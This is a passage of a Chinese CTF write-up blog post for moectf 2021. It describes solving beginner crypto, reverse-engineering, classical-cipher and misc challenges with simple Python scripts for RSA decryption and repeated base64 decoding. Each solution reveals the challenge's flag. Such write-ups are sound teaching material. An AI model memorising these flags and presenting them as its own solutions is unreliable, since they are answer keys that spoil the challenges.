,其他的就看了看前面几个开了开视野(\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e题目全部在 \u003ccode\u003eWindows 7\u003c/code\u003e 环境下做出\u003c/strong\u003e\u003c/p\u003e\u003ch2 id=\"目录\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#%E7%9B%AE%E5%BD%95\" class=\"headerlink\" title=\"目录\"\u003e\u003c/a\u003e目录\u003c/h2\u003e\u003ch3 id=\"Crypto(4-x2F-14)\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#Crypto%EF%BC%884-x2F-14%EF%BC%89\" class=\"headerlink\" title=\"Crypto(4/14)\"\u003e\u003c/a\u003eCrypto(4/14)\u003c/h3\u003e\u003col\u003e\u003cli\u003eCryptography入门指北(略)\u003c/li\u003e\u003cli\u003ebeginOfCrypto\u003c/li\u003e\u003cli\u003eBabyMultiple\u003c/li\u003e\u003cli\u003eLazyRSA\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"Reverse(2-x2F-14)\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#Reverse%EF%BC%882-x2F-14%EF%BC%89\" class=\"headerlink\" title=\"Reverse(2/14)\"\u003e\u003c/a\u003eReverse(2/14)\u003c/h3\u003e\u003col\u003e\u003cli\u003e逆向工程入门指北(略)\u003c/li\u003e\u003cli\u003ewelcome_to_the_world_of_re\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"Classical-Cryptography(1-x2F-6)\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#Classical-Cryptography%EF%BC%881-x2F-6%EF%BC%89\" class=\"headerlink\" title=\"Classical Cryptography(1/6)\"\u003e\u003c/a\u003eClassical Cryptography(1/6)\u003c/h3\u003e\u003col\u003e\u003cli\u003eAugustine’s Way\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"Bonus-0-x2F-1\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#Bonus-0-x2F-1\" class=\"headerlink\" title=\"Bonus(0/1)\"\u003e\u003c/a\u003eBonus(0/1)\u003c/h3\u003e\u003ch3 id=\"MISC-12-x2F-12)之前是13个来着\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#MISC-12-x2F-12%EF%BC%89%E4%B9%8B%E5%89%8D%E6%98%AF13%E4%B8%AA%E6%9D%A5%E7%9D%80\" class=\"headerlink\" title=\"MISC(12/12)之前是13个来着\"\u003e\u003c/a\u003eMISC(12/12)\u003cdel\u003e之前是13个来着\u003c/del\u003e\u003c/h3\u003e\u003col\u003e\u003cli\u003eMisc入门指北(略)\u003c/li\u003e\u003cli\u003efind_me\u003c/li\u003e\u003cli\u003eMacross\u003c/li\u003e\u003cli\u003eHomework\u003c/li\u003e\u003cli\u003eflipflipflip\u003c/li\u003e\u003cli\u003eWhite Album\u003c/li\u003e\u003cli\u003ePhone Call\u003c/li\u003e\u003cli\u003e社工题\u003c/li\u003e\u003cli\u003e好 康 的\u003c/li\u003e\u003cli\u003eeasyForensics\u003c/li\u003e\u003cli\u003eR P G\u003c/li\u003e\u003cli\u003e诺亚的日记\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"Pwn(3-x2F-11)\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#Pwn%EF%BC%883-x2F-11%EF%BC%89\" class=\"headerlink\" title=\"Pwn(3/11)\"\u003e\u003c/a\u003ePwn(3/11)\u003c/h3\u003e\u003col\u003e\u003cli\u003ePwn入门指北(略)\u003c/li\u003e\u003cli\u003etest_your_nc\u003c/li\u003e\u003cli\u003eInt_overflow\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"Web(9-x2F-14)\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#Web%EF%BC%889-x2F-14%EF%BC%89\" class=\"headerlink\" title=\"Web(9/14)\"\u003e\u003c/a\u003eWeb(9/14)\u003c/h3\u003e\u003col\u003e\u003cli\u003eWeb入门指北(略)\u003c/li\u003e\u003cli\u003eWeb安全入门指北—GET\u003c/li\u003e\u003cli\u003eWeb安全入门指北—小饼干\u003c/li\u003e\u003cli\u003e2048\u003c/li\u003e\u003cli\u003eWeb_Inc\u003c/li\u003e\u003cli\u003eezinclude\u003c/li\u003e\u003cli\u003ebabeRCE\u003c/li\u003e\u003cli\u003eDo you know HTTP?\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"问卷题-1-x2F-2\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#%E9%97%AE%E5%8D%B7%E9%A2%98-1-x2F-2\" class=\"headerlink\" title=\"问卷题(1/2)\"\u003e\u003c/a\u003e问卷题(1/2)\u003c/h3\u003e\u003col\u003e\u003cli\u003e信息统计(略)\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Crypto\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#Crypto\" class=\"headerlink\" title=\"Crypto\"\u003e\u003c/a\u003eCrypto\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003ePython 真是绝绝子!\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"02-beginOfCrypto\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#02-beginOfCrypto\" class=\"headerlink\" title=\"02 beginOfCrypto\"\u003e\u003c/a\u003e02 beginOfCrypto\u003c/h3\u003e\u003cp\u003e打开下载的文件发现下面有申必的数字,然后再看上面有 \u003ccode\u003eflag = xxx\u003c/code\u003e , 再看一眼代码,应该是把字符通过申必的方法转换成申必的数字,然后先赋值 \u003ccode\u003eflag = \u0026#34;moectf\u0026#34;\u003c/code\u003e 发现和前面几个数字对上了,然后用只能人工方法将26个字母和几个符号带进去都看了一遍值,找到了flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{c0me_on!begin_your_Crypt0_c4r33r}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"03-BabyMultiple\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#03-BabyMultiple\" class=\"headerlink\" title=\"03 BabyMultiple\"\u003e\u003c/a\u003e03 BabyMultiple\u003c/h3\u003e\u003cp\u003e和上一题一样,带进去不同字符经过处理变成其他申必字符,然后利用智能人工全部带了一遍,得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{y0u_4r3_gr34t_47_Mu17ic4ti0n}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e### 04 LazyRSA\u003cp\u003e去网上大概查了一下原理,然后对着教程里的代码改了一下\u003c/p\u003e\u003cp\u003e读的博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/hiwuchong/p/9069392.html\"\u003ehttps://www.cnblogs.com/hiwuchong/p/9069392.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/carroll_/article/details/79975226\"\u003ehttps://blog.csdn.net/carroll_/article/details/79975226\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/Ahuuua/article/details/108830834\"\u003ehttps://blog.csdn.net/Ahuuua/article/details/108830834\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_41818069/article/details/106532665\"\u003ehttps://blog.csdn.net/weixin_41818069/article/details/106532665\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/Higgerw/p/14289041.html\"\u003ehttps://www.cnblogs.com/Higgerw/p/14289041.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"http://www.ruanyifeng.com/blog/2013/06/rsa_algorithm_part_one.html\"\u003ehttp://www.ruanyifeng.com/blog/2013/06/rsa_algorithm_part_one.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_41429081/article/details/103403957\"\u003ehttps://blog.csdn.net/qq_41429081/article/details/103403957\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/tinyzhao/article/details/52681634\"\u003ehttps://blog.csdn.net/tinyzhao/article/details/52681634\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003efrom\u003c/span\u003e Crypto\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eUtil\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003enumber \u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e gmpy2\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e binasciip \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e题目里的p\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003eq \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e题目里的q\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003ec \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e题目里的c\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e n \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e p\u003cspan class=\"token operator\"\u003e*\u003c/span\u003eqe \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x10001\u003c/span\u003ed \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e gmpy2\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003einvert\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ee\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ep\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eq\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003em \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token builtin\"\u003epow\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ec\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003ed\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003en\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e# c = pow(m,e,n)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003ehex\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003em\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebinascii\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eunhexlify\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003ehex\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003em\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003estrip\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;L\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{w0w_yOU_Know_h0w_70_d3crypt_th3_RSA}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch2 id=\"Reverse\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#Reverse\" class=\"headerlink\" title=\"Reverse\"\u003e\u003c/a\u003eReverse\u003c/h2\u003e\u003ch3 id=\"02-welcome-to-the-world-of-re\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#02-welcome-to-the-world-of-re\" class=\"headerlink\" title=\"02 welcome_to_the_world_of_re\"\u003e\u003c/a\u003e02 welcome_to_the_world_of_re\u003c/h3\u003e\u003cp\u003e\u003cdel\u003e之前找简单软件注册码的法子\u003c/del\u003e\u003c/p\u003e\u003cp\u003e直接拖进 \u003ccode\u003eOD\u003c/code\u003e 能找到,拖进文本也行(\u003c/p\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/RwJMH68qB2hKjIE.png\" alt=\"re1.PNG\" style=\"zoom:80%;\"/\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/ZL6sevtD1lGIrzk.png\" alt=\"re2\" style=\"zoom:80%;\"/\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{W31C0Me_t0_m03CTF_2021_w0o0o0oooo0ooooo0o0oooo0!!!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch2 id=\"Classical-Cryptography\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#Classical-Cryptography\" class=\"headerlink\" title=\"Classical Cryptography\"\u003e\u003c/a\u003eClassical Cryptography\u003c/h2\u003e\u003cp\u003e\u003cdel\u003e看的时候离结束还有半天了,就看了第一个\u003c/del\u003e\u003c/p\u003e\u003ch3 id=\"01-Classical-Cryptography\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#01-Classical-Cryptography\" class=\"headerlink\" title=\"01 Classical Cryptography\"\u003e\u003c/a\u003e01 Classical Cryptography\u003c/h3\u003e\u003cp\u003e前几个和 \u003ccode\u003emoectf\u003c/code\u003e 对比了一下发现是每个字母后移了一位\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{e3sy_Au9u1ne!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch2 id=\"Misc\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#Misc\" class=\"headerlink\" title=\"Misc\"\u003e\u003c/a\u003eMisc\u003c/h2\u003e\u003ch3 id=\"02-find-me\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#02-find-me\" class=\"headerlink\" title=\"02 find_me\"\u003e\u003c/a\u003e02 find_me\u003c/h3\u003e\u003cp\u003e拖进 \u003ccode\u003e010 Editor\u003c/code\u003e\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{hs_g1v3_u_fl@g}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"03-Macross\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#03-Macross\" class=\"headerlink\" title=\"03 Macross\"\u003e\u003c/a\u003e03 Macross\u003c/h3\u003e\u003cp\u003e百度搜了半天不晓得这是啥,然后上 Google 搜出来是个记录鼠标移动的软件\u003cdel\u003e(Google真是绝绝子)\u003c/del\u003e,下载安装,然后打开 Windows 图画,运行文件,得到名画\u003c/p\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/BNxQez71C68ObY9.png\" alt=\"Mar\" style=\"zoom:80%;\"/\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{Rec0rder_15_Funny}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"04-Homework\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#04-Homework\" class=\"headerlink\" title=\"04 Homework\"\u003e\u003c/a\u003e04 Homework\u003c/h3\u003e\u003cp\u003e先看了一遍啥也没找到,然后先全选清除格式发现半个flag,然后用 \u003ccode\u003e7-zip\u003c/code\u003e 解压出来直接看 \u003ccode\u003exml\u003c/code\u003e 里东西了,搜 \u003ccode\u003e}\u003c/code\u003e,找到后一半,当然在 Word 里搜 \u003ccode\u003e{\u003c/code\u003e 发现是个文本框,拿到后半段flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{0h_U_f1nd_m3!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"05-flipflipflip\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#05-flipflipflip\" class=\"headerlink\" title=\"05 flipflipflip\"\u003e\u003c/a\u003e05 flipflipflip\u003c/h3\u003e\u003cp\u003e这个题可太折磨人了……\u003c/p\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/1go0/p/9977359.html\"\u003ehttps://www.cnblogs.com/1go0/p/9977359.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/mq0036/p/6544055.html\"\u003ehttps://www.cnblogs.com/mq0036/p/6544055.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/csqazwsxedc/article/details/59186769?fps=1\u0026amp;locationNum=2\"\u003ehttps://blog.csdn.net/csqazwsxedc/article/details/59186769?fps=1\u0026amp;locationNum=2\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.it1352.com/904413.html\"\u003ehttps://www.it1352.com/904413.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnpython.com/qa/153478\"\u003ehttps://www.cnpython.com/qa/153478\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/h-zhang/p/10568028.html\"\u003ehttps://www.cnblogs.com/h-zhang/p/10568028.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/zuferj115/p/11547486.html\"\u003ehttps://www.cnblogs.com/zuferj115/p/11547486.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/u010065754/article/details/81710160\"\u003ehttps://blog.csdn.net/u010065754/article/details/81710160\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/erchun/p/11766408.html\"\u003ehttps://www.cnblogs.com/erchun/p/11766408.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/Blood_Seeker/article/details/81519426?utm_source=blogxgwz3\"\u003ehttps://blog.csdn.net/Blood_Seeker/article/details/81519426?utm_source=blogxgwz3\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_43742794/article/details/104210963\"\u003ehttps://blog.csdn.net/weixin_43742794/article/details/104210963\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/qsmyjz/p/11987815.html\"\u003ehttps://www.cnblogs.com/qsmyjz/p/11987815.html\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e我超,100多MB的字符串,刚开始没头绪最后xjb猜是base64,那么大文件得整个脚本,然后网上搜\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e base64\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e systext \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#39;C:\\\\Users(后面文件路径省略了)\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eread\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003elen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etext\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e%\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e text \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;==\u0026#34;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003elen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etext\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e%\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e text \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;=\u0026#34;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewith\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#39;C:\\\\Users\\\\Users(后面文件路径省略了)\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;wb\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eas\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebase64\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eb64decode\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etext\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;success\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e第一遍看着解出来好东西了,然后第二遍解出来不知道一堆啥东西……然后又不会整了。\u003c/p\u003e\u003cp\u003e突然发现第一遍解出来的东西开头是 \u003ccode\u003e==\u003c/code\u003e ,再想想题目名字……base64倒过来了属于是,然后整了个反转的脚本\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e base64\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e systext \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#39;C:\\\\Users\\\\(后面路径省略)\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eread\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewith\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#39;C:\\\\Users\\\\(后面路径省略)\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;w\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eas\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etext\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;success\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e然后就这么xjb整……遇见解出来不对劲的就反转……然后通过智能人工整了70多次。。。从100多MB整到1KB……得到flag\u003c/p\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/3NzvcCOM6ZYuqRW.png\" alt=\"filp\" style=\"zoom:80%;\"/\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{fffffflipppppp}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"06-White-Album\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#06-White-Album\" class=\"headerlink\" title=\"06 White Album\"\u003e\u003c/a\u003e06 White Album\u003c/h3\u003e\u003cp\u003e看到 \u003ccode\u003e.png\u003c/code\u003e ,就猜要么是LSB要么是图片尺寸问题,试了一下果然是图片尺寸,在\u003ccode\u003e010 Editor\u003c/code\u003e 里改了下尺寸得到一个申必图案\u003c/p\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/ZpC9ox3itfAJLQm.jpg\" alt=\"whilt\" 